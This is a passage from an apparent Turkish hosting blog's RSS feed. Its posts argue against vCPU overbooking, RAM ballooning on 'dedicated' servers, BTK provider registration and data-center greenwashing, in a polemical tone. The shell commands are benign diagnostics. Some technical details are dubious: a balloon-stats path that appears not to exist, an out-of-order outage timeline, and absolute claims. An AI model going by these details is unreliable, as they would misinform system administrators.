<pre><code class="language-bash"># Boş bir CPU stres testi:
dd if=/dev/zero of=/dev/null
</code></pre>
<p>Eğer tek bir <code>dd</code> komutunda bile CPU Steal %30'un üzerine çıkıyorsa; o sunucu bir çöplüktür, komşuların gürültüsünden arınması imkansızdır.</p>
<hr>
<h2>Kurtuluş Yolu: Dedicated vCPU ve CPU Pinning</h2>
<p>Gerçek ve profesyonel bir altyapıda overbooking bataklığına düşmemenin yolları bellidir:</p>
<h3>1. Dedicated vCPU (CPU Pinning / Passthrough):</h3>
<p>Profesyonel bulut sağlayıcılarında (AWS EC2 c5/c6 serisi, DigitalOcean Dedicated Droplets, Hetzner Dedicated vCPU):</p>
<ul>
<li>Hipervizör, fiziksel bir çekirdeği doğrudan ve münhasıran sizin sanal makinenize kilitler (<strong>Core Pinning</strong>).</li>
<li>O çekirdeği sizden başka hiçbir sanal makine kullanamaz.</li>
<li>CPU Steal oranı her zaman <strong>%0.0</strong> seviyesindedir.</li>
</ul>
<pre><code>[Dedicated vCPU Mimarisi]
Fiziksel Çekirdek 4 ─── (Kilitli / Pinned) ───► Yalnızca SİZİN Sanal Makineniz!
(Komşu ne yaparsa yapsın, sizin çekirdeğinize dokunamaz!)
</code></pre>
<h3>2. Paylaşımlı Paketlerde Tolerans Sınırı:</h3>
<p>Paylaşımlı (Shared vCPU) bir paket kullanıyorsanız bile, sağlıklı bir veri merkezinde kabul edilebilir maksimum CPU Steal oranı <strong>%3 ile %5</strong> arasındadır. %10'u aşan ve saatlerce süren her steal oranı, sağlayıcının açgözlülüğünün ve aşırı satış yaptığının açık delilidir.</p>
<h2>Sonuç</h2>
<p>40 kişilik otobüse 300 bilet satan firma taşımacılık yapmıyor, insan hayatıyla kumar oynuyordur; 32 thread işlemciye 500 vCPU tanımlayan sağlayıcı da bulut hizmeti vermiyor, müşterinin parasını gasp ediyordur.</p>
<p>Sanal sunucu kiralarken sadece "kaç çekirdek" olduğuna bakmayın; o çekirdeklerin gerçekten size mi ait olduğunu, yoksa 50 komşuyla paylaşılan hayali birer serap mı olduğunu sorgulayın. Terminalinizde <code>top</code> yazın; ekrandaki <code>%st</code> değerine bakın. Eğer işlemciniz çalınıyorsa o otobüsten derhal inin; çünkü o araç asla menzile ulaşamayacaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>vCPU</category>
            <category>Overbooking</category>
            <category>CPU Steal</category>
            <category>Sanallaştırma</category>
            <category>Hipervizör</category>
            <category>Performans</category>
            <category>Linux</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/vcpu-overbooking-cilesi-ve-cpu-steal-zamanlari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sanal Sunucuda 'Garanti Kaynak' Yalanı: RAM Ballooning Çıkmazı]]></title>
            <link>http://localhost:3000/blog/post/sanal-sunucuda-garanti-kaynak-yalani-ram-ballooning-cikmazi</link>
            <guid>sanal-sunucuda-garanti-kaynak-yalani-ram-ballooning-cikmazi</guid>
            <pubDate>Sat, 27 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[VDS paketlerinde 'Kaynaklarınız %100 Dedicated ve Size Özeldir' vaadinin arkasında hipervizör Memory Ballooning ile RAM'i gasp edilen ve OOM Killer ile kilitlenen sunucular.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sanal-sunucuda-garanti-kaynak-yalani-ram-ballooning-cikmazi/thumbnail" alt=""> Hastanenin kan bankasında açık kalp ameliyatına girecek kritik bir hasta için özel bir hazırlık yapıldığını düşünün. Cerrahi ekip kan bankasına gider, hastanın kan grubuyla tam eşleşen 4 ünite taze tam kanı rezerve eder, üzerine hastanın adını ve dosya numarasını yazar: <em>"Bu kanlar yalnızca Ahmet Bey'in ameliyatı içindir, garantilidir, başka hiçbir hastaya verilemez!"</em> Ameliyat başlar; göğüs kafesi açılır ve beklenmedik bir arteriyel kanama patlak verir. Cerrah panikle kan bankasına haber verir: <em>"Rezerve ettiğimiz 4 ünite kanı derhal ameliyathaneye getirin!"</em> Kan torbaları gelir; ancak cerrah dehşetle donakalır: Kan bankası memuru, hastaneye gelen diğer acil hastalara "Nasılsa Ahmet Bey henüz ameliyata girmedi" diyerek o torbalardan gizlice şırıngayla kan çekmiş, eksilen hacmi tamamlamak için de torbaların içine serum fizyolojik (tuzlu su) basmıştır! Torbanın içinde kan değil, seyreltilmiş boyalı su vardır! Hastaya oksijen taşıyacak alyuvar kalmamıştır; hasta masada hipovolemik şoktan hayatını kaybeder. Sorumsuz memurun savunması ise akıl almazdır: <em>"Efendim torba doluydu, biz sadece boşta duran kısmı ödünç aldık!"</em></p>
<p>Sanal sunucu (VDS / Virtual Dedicated Server) pazarında satış afişlerine büyük harflerle <strong>"Kaynaklarınız %100 Dedicated! Size Özel Ayrılmış Garanti RAM!"</strong> yazan merdiven altı sağlayıcıların hipervizör düzeyinde <strong>Memory Ballooning (Bellek Balonlama)</strong> sürücüleriyle yaptığı şey, kan torbasından gizlice kan çeken bu memurun cüretinden farksızdır.</p>
<hr>
<h2>VDS ve "Garanti Kaynak" Efsanesi</h2>
<p>Kullanıcılar VPS (Virtual Private Server) ile VDS (Virtual Dedicated Server) arasındaki farkı araştırdıklarında karşılarına şu tanım çıkar:</p>
<ul>
<li><strong>VPS:</strong> Kaynakların paylaşıldığı, komşulardan etkilenebilen sanal sunucu.</li>
<li><strong>VDS:</strong> Kaynakların (özellikle RAM ve CPU'nun) hipervizör düzeyinde doğrudan fiziksel olarak ayrıldığı (Hardware Isolation), komşuların birbirini asla etkileyemediği güvenli sanal sunucu.</li>
</ul>
<p>Bu tanım teorik olarak KVM veya VMware'in ideal konfigürasyonunda doğrudur. Birçok işletme ve yazılımcı da bu söze güvenerek normal VPS'in 2-3 katı para ödeyip "VDS" satın alır.</p>
<p>Ancak Türkiye'deki birçok açgözlü sağlayıcı için donanım satışı bir ahlak değil, bir sihirbazlık gösterisidir:<br>
Ana fiziksel sunucuda (Host Node) toplamda 128 GB fiziksel ECC RAM vardır. Sağlayıcı müşterilere "16 GB Garanti RAM VDS" satar.<br>
Kaç tane satar? 8 tane mi? Hayır!<br>
Tam <strong>20 tane satar!</strong><br>
Toplamda müşterilere vadedilen ve "garanti" edilen RAM: <strong>320 GB!</strong> (Fiziksel kapasite: 128 GB).</p>
<p>Peki, olmayan bu 192 GB RAM hipervizörde nasıl varmış gibi gösterilir?<br>
Cevap: <strong>VirtIO Memory Ballooning (Bellek Balonlama).</strong></p>
<hr>
<h2>Memory Ballooning Mekanizması: Sanal Odadaki Canavar</h2>
<p>Memory Ballooning, sanallaştırma teknolojisinde (KVM / QEMU / VMware) kaynak verimliliğini artırmak için geliştirilmiş meşru bir araçtır; ancak kötü niyetli sağlayıcıların elinde organize bir dolandırıcılık silahına dönüşür.</p>
<p>Sanal makinenizin işletim sisteminin (Ubuntu, Debian, AlmaLinux) içine bir hipervizör sürücüsü yüklenir: <code>virtio_balloon</code>.</p>
<p>Bu mekanizma şöyle çalışır:</p>
<pre><code>[SİZİN SANAL SUNUCUNUZ (16 GB RAM Satın Aldınız)]
- İşletim sisteminiz ekranda "16 GB RAM" görür.
- Normal zamanda siteniz sadece 3 GB RAM tüketmektedir.
- Kalan 13 GB RAM boşta (Idle) beklemektedir.
         │
         ▼
[HİPERVİZÖR HOST NODE: FİZİKSEL RAM TÜKENDİ!]
Komşu sunucu aniden belleğe yüklendi. Ana makinede RAM bitti!
         │
         ▼
[BALON ŞİŞİRİLİYOR! (BALLOON INFLATE)]
1. Hipervizör sizin sanal makinenizdeki `virtio_balloon` sürücüsüne gizli emir verir:
   "Sanal makinenin içindeki 10 GB boş belleği kendi içine çek ve kitle!"
2. Balon sürücüsü sizin sanal RAM'inizin 10 GB'ını şişirerek içine çeker!
3. Çekilen o 10 GB fiziksel RAM, ana makine tarafından zorla elinizden alınır
   ve komşu sunucuya verilir!
         │
         ▼
[KRİZ ANI: SİZİN RAM'E İHTİYACINIZ OLDUĞUNDA]
Sitenize anlık trafik gelir. MySQL 6 GB RAM istemeye başlar.
İşletim sisteminiz bakar: "Benim 16 GB RAM'im vardı, neden bellek yok?!"
         │
         ▼
[LINUX KERNEL ÇÖKER: OOM KILLER DEVREYE GİRER!] ❌
Hipervizör balonu zamanında söndüremez (Deflate lag).
MySQL servisi anında öldürülür!
</code></pre>
<hr>
<h2>Patolojinin Semptomları: Çalınan Belleğin İzi</h2>
<p>Bu kurgunun içinde yaşayan bir sistem yöneticisi şu akıl almaz belirtilerle karşılaşır:</p>
<ol>
<li><strong>free -m Çıktısında Açıklanamayan Boşluk:</strong><br>
Terminalde <code>free -m</code> yazarsınız. Toplam RAM 16 GB görünür. Kullanılan RAM 4 GB'tır. Ancak yeni bir Docker konteyneri ayağa kaldırmak istediğinizde veya MySQL büyük bir buffer havuzu açmaya çalıştığında sistem feryat eder: <code>Cannot allocate memory!</code>. Diskte ve bellekte yer varken sistem bellek tahsis edemez!</li>
<li><strong>Kswapd0 ve Ani CPU Patlamaları:</strong><br>
Linux çekirdeği bellek bulamadığı için çılgınlar gibi takas alanı (Swap) aramaya başlar. <code>kswapd0</code> çekirdek süreci CPU'yu %100'e kilitler. Sunucu donar kalır.</li>
<li><strong>Hipervizör Takılmaları (Balloon Lag):</strong><br>
Balonun şişmesi ve sönmesi mikrosaniyelik bir işlem değildir. Sizin sitenize anlık 500 ziyaretçi girdiğinde o RAM'e o milisaniyede ihtiyacınız vardır. Balonun sönmesi 2 saniye gecikirse, Linux çekirdeği beklemez; doğrudan OOM Killer'ı devreye sokarak veritabanınızın boynunu vurur.</li>
</ol>
<hr>
<h2>"Dedicated" Kelimesinin İğdiş Edilmesi</h2>
<p>Müşteri destek bileti açar:<br>
<em>"Ben sizden VDS aldım. 'Dedicated RAM' dediniz. Neden MySQL servisim belleğe sığmayıp çöküyor?"</em></p>
<p>Sağlayıcının yanıtı yine o yüzsüz kurumsal jargonla gelir:<br>
<em>"Sayın müşterimiz, VDS paketlerimizde sanallaştırma KVM altyapısıyla sağlanmaktadır. Bellek yönetimimiz dinamik optimizasyon kurallarına göre dinamik olarak yönetilmektedir. Sunucunuzun anlık bellek ihtiyacı için swapfile oluşturmanızı veya bir üst paketimiz olan 32 GB VDS'e geçmenizi öneririz."</em></p>
<p>Müşteriye açıkça şunu söyleyemezler: <em>"Biz sizin parasını ödediğiniz 16 GB RAM'i 3 farklı müşteriye daha sattık; siz kullanmıyorken komşunuza verdik, siz aniden isteyince de yetiştiremedik!"</em></p>
<hr>
<h2>Teşhis: Balonun Ağzını Yakalamak</h2>
<p>Kendi sanal sunucunuzda Memory Ballooning kurbanı olup olmadığınızı anlamak için terminalde şu kontrolleri yapın:</p>
<pre><code class="language-bash"># 1. VirtIO Balloon modülünün devrede olup olmadığını kontrol edin:
lsmod | grep balloon

# Çıktıda şunu görüyorsanız balon sürücüsü çalışıyordur:
# virtio_balloon         24576  0

# 2. Çekirdek bellek istatistiklerinde balon boyutunu inceleyin:
cat /sys/kernel/debug/virtio-ports/*/balloon_size 2>/dev/null || vmstat -m | grep -i balloon
</code></pre>
<p>Eğer sisteminizde <code>virtio_balloon</code> yüklüyse ve hipervizör bunu dinamik olarak kullanıyorsa; sözleşmenizde yazan "Garanti Dedicated RAM" ibaresi bir yalandan ibarettir.</p>
<hr>
<h2>Gerçek "Dedicated" RAM Nasıl Olmalıdır?</h2>
<p>Gerçek ve kurumsal bir VDS sağlayıcısında hipervizör seviyesinde şu iki kural tavizsiz uygulanır:</p>
<ol>
<li><strong>Zero Ballooning (Balonsuz Mimari):</strong><br>
Hipervizörde sanal makine yapılandırılırken <code>balloon</code> aygıtı tamamen devre dışı bırakılır (<code>&#x3C;memballoon model='none'/></code>).</li>
<li><strong>Bellek Kilitleme (Memory Pre-allocation &#x26; Pinning):</strong><br>
Sanal sunucu ayağa kalktığı anda, hipervizör ana makinenin fiziksel RAM bloklarından 16 GB'ı doğrudan ayırır ve kilitler (<code>mlock</code> çağrısı). Siz o belleği kullansanız da kullanmasanız da o 16 GB fiziksel RAM başka hiçbir komşuya verilemez.</li>
</ol>
<p>Bu mimariyle çalışan bir sunucuda 1 baytlık bellek çalınması bile yaşanmaz. Fiyatı biraz daha yüksektir; ancak gece yarısı MySQL'inizin katledilmeyeceğinin tek gerçek teminatı budur.</p>
<h2>Sonuç</h2>
<p>Kan bankasında rezerve ettiğiniz kan torbasından gizlice kan çeken zihniyet hastanın katilidir; "Garanti RAM" satıp arka planda Memory Ballooning ile belleğinizi komşuya peşkeş çeken sağlayıcı da sistemlerinizin celladıdır.</p>
<p>Sözleşmelerdeki "Dedicated" kelimesine gözü kapalı güvenmeyin. Belleğinizi test edin, donanım izolasyonunu sorgulayın. Gerçek mühendislik boşlukta kalan kaynakları hırsız gibi aşırmak değil; müşterinin parasını ödediği her bir megabaytı bir emanet namusuyla kilit altında tutabilmektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>VDS</category>
            <category>RAM Ballooning</category>
            <category>KVM</category>
            <category>Overcommit</category>
            <category>Hipervizör</category>
            <category>Bellek</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sanal-sunucuda-garanti-kaynak-yalani-ram-ballooning-cikmazi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[BTK Yer Sağlayıcı Belgesi: Kâğıt Üzerinde Kalan Müzeyyen Denetimler]]></title>
            <link>http://localhost:3000/blog/post/btk-yer-saglayici-belgesi-kagit-uzerinde-kalan-muzeyyen-denetimler</link>
            <guid>btk-yer-saglayici-belgesi-kagit-uzerinde-kalan-muzeyyen-denetimler</guid>
            <pubDate>Fri, 26 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Basit bir vergi levhası ve online dilekçeyle alınan BTK Bildirimli Yer Sağlayıcı kaydının arkasında siber güvenlik, yedeklilik ve mühendislikten bihaber yüzlerce merdiven altı firmanın yarattığı güven illüzyonu.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/btk-yer-saglayici-belgesi-kagit-uzerinde-kalan-muzeyyen-denetimler/thumbnail" alt=""> Sağlık Bakanlığı'nın bir sabah akıl almaz bir genelge yayınladığını hayal edin: <em>"Bugünden itibaren cerrahi tıp merkezi ve acil klinik açmak isteyen herkes, e-Devlet üzerinden bir dilekçe verip vergi numarasını sisteme girerek anında 'Bakanlık Onaylı Resmi Cerrahi Operatör' belgesi alabilir. Fiziksel denetim yapılmayacaktır; ameliyathaneniz var mı, hekimleriniz diplomalı mı, odalarınız steril mi diye bakılmayacaktır. Yalnızca kestiğiniz faturanın ve girdiğiniz dilekçenin kaydı tutulacaktır."</em> Bir hafta sonra ne olur? Mahalledeki oto tamircileri, kasaplar ve lise öğrencileri e-Devlet'ten bu belgeyi indirir. Web sitelerine ve dükkan vitrinlerine altın yaldızlı büyük bir amblem asarlar: <em>"T.C. SAĞLIK BAKANLIĞI RESMİ ONAYLI CERRAHİ KLİNİĞİ - LİSANS NO: 4812"</em>. Müşteri devlete güvenir, "Devlet izin vermişse güvenlidir" diyerek içeri girer ve paslı aletlerin altında hayatını kaybeder. Sorumsuz bürokrasi, hiçbir teknik denetim yapmadığı halde dağıttığı o resmi logo ile katliama yasal bir kalkan sağlamıştır.</p>
<p>Türkiye bilişim ekosisteminde <strong>BTK (Bilgi Teknolojileri ve İletişim Kurumu) Bildirimli Yer Sağlayıcı Belgesi</strong> ve denetim mekanizması, maalesef bilişim dünyasında tam olarak bu sahte cerrahlık ruhsatının dijital karşılığıdır.</p>
<hr>
<h2>5651 Sayılı Kanun ve Yer Sağlayıcılığın Gerçek Amacı</h2>
<p>Türkiye'de hosting, VDS veya alan adı hizmeti veren şirketlerin web sitelerinin en altında gururla sergilediği o meşhur ibareyi görürsünüz:<br>
<code>"BTK Faaliyet Belgeli Yer Sağlayıcı - Belge No: YS-(1425)"</code></p>
<p>Vatandaş veya kurumsal bir şirket bu ibareyi gördüğünde haklı olarak şöyle zanneder:<br>
<em>"Harika! Bu firma devletin siber güvenlik denetimlerinden geçmiş, yangın sistemleri incelenmiş, sunucularının kalitesi ve veri güvenliği onaylanmış resmi bir kuruluştur."</em></p>
<p>Oysa gerçek tam bir bürokratik illüzyondur.</p>
<p>5651 sayılı <em>"İnternet Ortamında Yapılan Yayınların Düzenlenmesi ve Bu Yayınlar Yoluyla İşlenen Suçlarla Mücadele Edilmesi Hakkında Kanun"</em> kapsamında "Yer Sağlayıcı" olmanın şartları şunlardır:</p>
<ol>
<li>Bir şahıs veya şirket vergi levhasına sahip olmak.</li>
<li>BTK'nın web portalına girip basit bir bildirim formu doldurmak.</li>
<li>Alan adınızı ve iletişim bilgilerinizi sisteme kaydetmek.</li>
</ol>
<p><strong>HEPSİ BU KADARDIR.</strong></p>
<hr>
<h2>Denetlenmeyenler Listesi: Bürokrasinin Kör Noktası</h2>
<p>BTK, bir şirkete "Bildirimli Yer Sağlayıcı" statüsü verirken şu hayati soruların <strong>TEK BİR TANESİNİ BİLE SORMAMAKTADIR:</strong></p>
<pre><code>+------------------------------------------------------------------------+
|           BTK'NIN ASLA DENETLEMEDİĞİ KRİTİK ALTYAPI GERÇEKLERİ         |
|                                                                        |
|  ❌ Bu şirketin fiziksel bir sunucusu veya veri merkezi var mı?        |
|     (Yok! Yurtdışından 20 Euro'ya kiralanmış bir VPS ile bile olunur!) |
|                                                                        |
|  ❌ Bu şirkette diplomalı tek bir sistem/ağ mühendisi çalışıyor mu?    |
|     (Hayır! Şirket sahibi 18 yaşında bir lise öğrencisi olabilir!)     |
|                                                                        |
|  ❌ Müşteri veritabanları yedekleniyor mu, şifreleniyor mu?            |
|     (Devletin umurunda değil!)                                         |
|                                                                        |
|  ❌ Yangın söndürme, jeneratör, kesintisiz güç kaynağı (UPS) var mı?   |
|     (Hiçbir fiziksel teftiş yapılmaz!)                                 |
|                                                                        |
|  ❌ Kişisel Verileri Koruma Kanunu (KVKK) uyumluluğu var mı?           |
|     (Sıfır denetim!)                                                   |
+------------------------------------------------------------------------+
</code></pre>
<p>Devletin bu yasayla ilgilendiği tek bir konu vardır: <strong>Adli Bilişim Trafik Logları (Erişim Logları).</strong><br>
Yasa der ki: <em>"Bana ne senin sunucunun kalitesinden. Bir gün bir web sitesinde hakaret, terör veya yasadışı bahis suçu işlenirse ve savcılık bana sorarsa; sen bana o IP'yi kullanan kişinin T.C. kimlik numarasını ve erişim logunu verebilecek misin? Verebileceksen al sana belge!"</em></p>
<hr>
<h2>Sahte Güven Tuzağı: Merdiven Altının En Büyük Silahı</h2>
<p>İşte bu bürokratik boşluk, Türkiye'deki merdiven altı, odasında laptopla hosting satan korsan girişimcilerin en büyük pazarlama kalkanına dönüşmüştür.</p>
<p>Hiçbir sermayesi, hiçbir teknik bilgisi olmayan bir şahıs:</p>
<ul>
<li>Babasının adına bir şahıs şirketi açar.</li>
<li>BTK portalına başvurur ve 3 gün içinde "Yer Sağlayıcı Bildirim Listesi"ne girer.</li>
<li>Web sitesinin en tepesine Türk bayrağı, BTK logosu ve resmi belge numarasını koyar.</li>
<li>Foruma ilan açar: <em>"BTK ONAYLI DEVLET GÜVENCELİ KURUMSAL HOSTİNG!"</em></li>
</ul>
<p>Müşteri o logoyu görür, devlete inanır ve tüm e-ticaret altyapısını, müşteri verilerini bu şahsın insafına teslim eder.<br>
3 ay sonra sunucu yandığında veya şahıs tüm verileri silip kaçtığında müşteri BTK'ya şikayet eder: <em>"Sizin onay verdiğiniz yer sağlayıcı verilerimi çaldı ve kaçtı!"</em></p>
<p>BTK'nın vereceği resmi yanıt ise dondurucudur:<br>
<em>"Kurumumuz yer sağlayıcıların ticari faaliyetlerini, hizmet kalitesini veya veri güvenliğini denetlememektedir. İhtilafınızı tüketici mahkemelerinde çözünüz."</em></p>
<hr>
<h2>Log Tutma Sahtekarlığı: Geriye Dönük Sahte Zaman Damgaları</h2>
<p>5651 sayılı kanunun yer sağlayıcılara getirdiği tek teknik zorunluluk, iç IP dağıtım loglarını ve erişim kayıtlarını <strong>HASH (Zaman Damgası - Sha256)</strong> ile imzalayarak en az 1 yıl saklamaktır.</p>
<p>Ancak merdiven altı firmaların ezici çoğunluğu bu logları bile tutmaz:</p>
<ul>
<li>Sunucuda <code>auditd</code> veya merkezi syslog yoktur.</li>
<li>Savcılıktan veya emniyet siber suçlar şubesinden resmi müzekkere geldiğinde panik başlar: <em>"Falan tarihte falan IP'den suç işlenmiş, abonenin kimliğini verin!"</em></li>
<li>Kayıt olmadığı için ya sahte bir Excel tablosu uydurulur ya da <em>"O gün sistemlerimizde arıza vardı, log tutulamadı"</em> denilerek savcılığa yalan beyan verilir.</li>
</ul>
<p>Bu disiplinsizlik, masum kullanıcıların IP çakışmaları (CGNAT) yüzünden haksız yere adli soruşturmalara maruz kalmasına yol açar.</p>
<hr>
<h2>Gerçek Güvenlik Standartları Nerede Başlar?</h2>
<p>Bir firmanın güvenilir bir altyapı sağlayıcısı olduğunu anlamak için BTK listesinde adına bakmak yetersizdir. Gerçek kurumsal denetim şu bağımsız ve uluslararası sertifikasyonlarla kanıtlanır:</p>
<pre><code>[GERÇEK KURUMSAL GÜVENCE MATRİSİ]

1. ISO/IEC 27001 (Bilgi Güvenliği Yönetim Sistemi)
   - Bağımsız akredite denetçiler tarafından fiziksel ve dijital güvenlik
     açıklarının yılda en az bir kez yerinde denetlenmesi.

2. ISO 22301 (İş Sürekliliği Yönetim Sistemi)
   - Deprem, yangın, elektrik kesintisi gibi felaket anlarında sistemin
     kaç dakika içinde yedek lokasyondan ayağa kalkacağının tatbikatı.

3. PCI-DSS Seviye 1 Sertifikasyonu
   - Kartlı ödeme sistemleri altyapı güvenliği.

4. Bağımsız SOC 2 / SOC 3 Tip II Raporları
   - Sistemlerin gizlilik, bütünlük ve erişilebilirlik metriklerinin
     tarafsız üçüncü taraf denetçiler tarafından denetlenip raporlanması.
</code></pre>
<p>Eğer bir sağlayıcı bu bağımsız denetim raporlarını (Audit Reports) şeffafça sunabiliyorsa orası güvenlidir. Sadece BTK logosunun arkasına saklanıyorsa, orası denetimsiz bir serbest bölgedir.</p>
<h2>Sonuç</h2>
<p>Tabelasında Sağlık Bakanlığı logosu olan her merdiven altı klinikte ameliyat masasına yatamazsınız; web sitesinde BTK Yer Sağlayıcı belgesi yazan her firmaya da şirketinizin dijital geleceğini emanet edemezsiniz.</p>
<p>BTK belgesi bir kalite veya siber güvenlik onay belgesi değil; yalnızca adli mercilere verilen bir adres bildirim kağıdıdır. Altyapınızı bürokratik süslemelere değil; uluslararası bağımsız denetimlerden geçmiş somut mühendislik disiplinine ve gerçek veri merkezi standartlarına emanet edin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>BTK</category>
            <category>Yer Sağlayıcı</category>
            <category>Regülasyon</category>
            <category>Hosting</category>
            <category>Denetim</category>
            <category>KVKK</category>
            <category>Siber Güvenlik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/btk-yer-saglayici-belgesi-kagit-uzerinde-kalan-muzeyyen-denetimler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Yeşil Enerji Pazarlaması vs. Mazot Kokan Jeneratörler: Veri Merkezinin Çift Yüzü]]></title>
            <link>http://localhost:3000/blog/post/yesil-enerji-pazarlamasi-vs-mazot-kokan-jeneratorler-veri-merkezinin-cift-yuzu</link>
            <guid>yesil-enerji-pazarlamasi-vs-mazot-kokan-jeneratorler-veri-merkezinin-cift-yuzu</guid>
            <pubDate>Thu, 25 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Broşürlerde '%100 Yeşil Enerji, Karbon Nötr, Ekolojik Bulut' sloganları atan veri merkezlerinin elektrik kesildiğinde saatte 800 litre dizel yakarak mahalleyi kara dumana boğan gerçekliği.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yesil-enerji-pazarlamasi-vs-mazot-kokan-jeneratorler-veri-merkezinin-cift-yuzu/thumbnail" alt=""> Şehrin merkezinde lüks bir tıp kliniği açıldığını düşünün. Dış cephesi sarmaşıklarla kaplıdır, lobide bambu ağaçları yükselir, broşürlerinde devasa puntolarla şu yazar: <em>"Doğayla %100 Uyumlu, Karbon Nötr, Holistik ve Ekolojik Şifa Merkezi. Biz hastalarımızı yalnızca organik frekanslarla ve doğanın saf enerjisiyle tedavi ediyoruz!"</em> Müşteriler yeşil logolara, geri dönüştürülmüş kağıtlara ve eko-sertifikalara hayran kalır. Ancak bir gece kliniğin acil servisinde kritik bir travma vakası gelir; hastanın aortu yırtılmış, kan basıncı sıfıra inmiştir. O an içeride ne olur? Başhekim o bambuları kenara fırlatır; steril çelik ameliyathaneye koşar, yüksek voltajlı elektroşok (defibrilatör) cihazını hastanın göğsüne dayar, sentetik yapay adrenalin enjektörlerini damara boşaltır ve en ağır kimyasal gazlarla hastayı uyutur. Doğa vizyonu bir anda buharlaşmış; kriz anında yerini saf, acımasız ve mekanik mühendisliğin sert gerçeklerine bırakmıştır.</p>
<p>Küresel ve yerel veri merkezi endüstrisinde son yıllarda bir salgın gibi yayılan <strong>"Green Data Center (Yeşil / Ekolojik Veri Merkezi)"</strong> pazarlaması, tam olarak bu holistik kliniğin vitrini ile ameliyathanesinin arasındaki keskin zıtlıktır.</p>
<p>Web sitelerinde rüzgar gülleri, yeşil yapraklar ve "Net Zero Carbon 2030" yeminleri havalarda uçuşur. Ancak şebeke elektriği 1 saniyeliğine kesildiği an, o yeşil yaprakların arkasından 16 silindirli, 2.500 beygirlik dizel Cummins ve Caterpillar canavarları kükremeye başlar.</p>
<hr>
<h2>"Yeşil Sertifika" Borsası: Karbon Kredisi İllüzyonu (I-REC)</h2>
<p>Bir veri merkezinin broşüründe gördüğünüz <em>"Tesisimiz %100 Yenilenebilir Enerji ile Çalışmaktadır"</em> ibaresi çoğu zaman fiziksel bir gerçeği değil; finansal bir türev piyasasını ifade eder: <strong>I-REC (Uluslararası Yenilenebilir Enerji Sertifikası).</strong></p>
<p>Fizik kuralları basittir: Şebeke elektriği (Ulusal Grid) homojendir.<br>
Veri merkezinin binasına giren yüksek gerilim kablosunun içindeki elektronların rüzgar türbininden mi, hidroelektrik barajdan mı yoksa Zonguldak'taki linyit kömür santralinden mi geldiğini ayırt edemezsiniz. Hepsi aynı havuzda karışır.</p>
<p>Peki veri merkezleri nasıl "Yeşil" olur?</p>
<ul>
<li>Veri merkezi 1 yıl boyunca şehir şebekesinden kömür ve doğalgaz elektriğini çeker ve tüketir.</li>
<li>Yıl sonunda aracı bir finansal kuruma gider: <em>"Ben bu yıl 20 milyon Kilowatt-saat elektrik tükettim. Bana bir rüzgar santralinin adına düzenlenmiş 20 milyon kWh'lık I-REC yeşil sertifikası satın."</em> der.</li>
<li>Parayı öder, kâğıt parçasını alır ve duvara asar: <em>"Tesisimiz %100 Ekolojiktir!"</em></li>
</ul>
<p>Bu, günah işleyip kiliseden endüljans (cennetten arsa) satın alan ortaçağ zihniyetinin modern kurumsal versiyonudur (Greenwashing / Yeşil Aklama).</p>
<hr>
<h2>Kriz Anı: Şebeke Gider, Mazot Konuşur</h2>
<p>Gündüz saatlerinde güneş panelleriyle ve kâğıt üzerindeki yeşil sertifikalarla övünen o tesisin gerçek sınavı, bir fırtınada veya trafo arızasında başlar:</p>
<pre><code>[ŞEBEKE ELEKTRİĞİ KESİLDİ: 00:00.000]
                      │
                      ▼
[UPS AKÜ GRUPLARI DEVREDE: 00:00.010]
(Kurşun-Asit veya Lityum Aküler - Saf Kimyasal Enerji)
Sistem 10-15 dakika boyunca akülerden beslenir.
                      │
                      ▼
[JENERATÖRLER ATEŞLENDİ: 00:00.008]
- 4 Adet 2.500 kVA V16 Dizel Motor marş bastı!
- Silindirlerin içine saf motorin püskürtüldü.
- 15. saniyede senkronizasyon tamamlandı ve şebeke yükü jeneratöre aktarıldı!
                      │
                      ▼
[SAHADAKİ ÇEVRESEL GERÇEKLİK]
- Bacalardan simsiyah azot oksit (NOx) ve karbonmonoksit dumanı yükselir!
- Tesis SAATTE 800 LİTRE DİZEL YAKIT TÜKETİR!
- Mahalle kulakları sağır eden bir motor sesi ve ağır mazot kokusuna boğulur!
</code></pre>
<p>O an hiçbir müşteri <em>"Aaa sizin jeneratörleriniz mazot yakıyor, karbon ayak iziniz yükseldi, sunucumu kapatın"</em> demez. O an müşterinin baktığı tek şey ekrandaki Uptime grafiğidir.</p>
<p>Teknoloji dünyasının en acımasız kuralı devreye girer: <strong>Uptime (Erişilebilirlik), ekolojiden her zaman önce gelir.</strong></p>
<hr>
<h2>PUE (Power Usage Effectiveness): Gerçek Mühendislik Nerede Başlar?</h2>
<p>Yeşil pazarlamanın yalanlarını bir kenara bırakırsak, bir veri merkezinin çevreye ve enerjiye saygısı sertifikalarla değil; <strong>PUE (Güç Kullanım Etkinliği)</strong> katsayısıyla ölçülür.</p>
<pre><code class="language-text">PUE = (Veri Merkezinin Toplam Çektiği Enerji) / (Sunucuların Tükettiği Saf Bilişim Enerjisi)
</code></pre>
<ul>
<li><strong>PUE 2.0 (Kötü / Eski Nesil):</strong> Sunucuların harcadığı her 1 kW elektrik için, 1 kW da klimalara ve kayıplara harcanır. Enerjinin yarısı çöpe gider.</li>
<li><strong>PUE 1.5 (Türkiye Ortalaması):</strong> Standart veri merkezleri.</li>
<li><strong>PUE 1.1 - 1.2 (Elit / Modern):</strong> Gerçek yeşil mühendislik.</li>
</ul>
<p>Gerçek bir çevre dostu veri merkezi, kâğıt satın alarak değil; <strong>soğutma mimarisini optimize ederek</strong> enerji tasarrufu sağlar:</p>
<ol>
